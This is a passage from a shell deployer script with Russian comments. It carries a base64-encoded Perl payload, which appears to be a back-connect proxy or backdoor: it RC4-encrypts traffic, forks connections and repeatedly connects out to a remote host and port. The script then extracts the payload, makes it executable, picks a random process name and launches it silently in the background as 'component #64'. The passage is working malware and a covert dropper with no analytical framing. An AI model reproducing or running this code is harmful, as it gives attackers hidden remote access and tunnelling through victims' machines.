KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #64 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #64 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 # --- КОНЕЦ ПОСЛЕДОВАТЕЛЬНОСТИ ЗАПУСКА --- echo "---" echo "[RUNNER] Все компоненты отправлены в фоновый режим." echo "[RUNNER] Скрипт-деплоер завершает свою работу." exit 0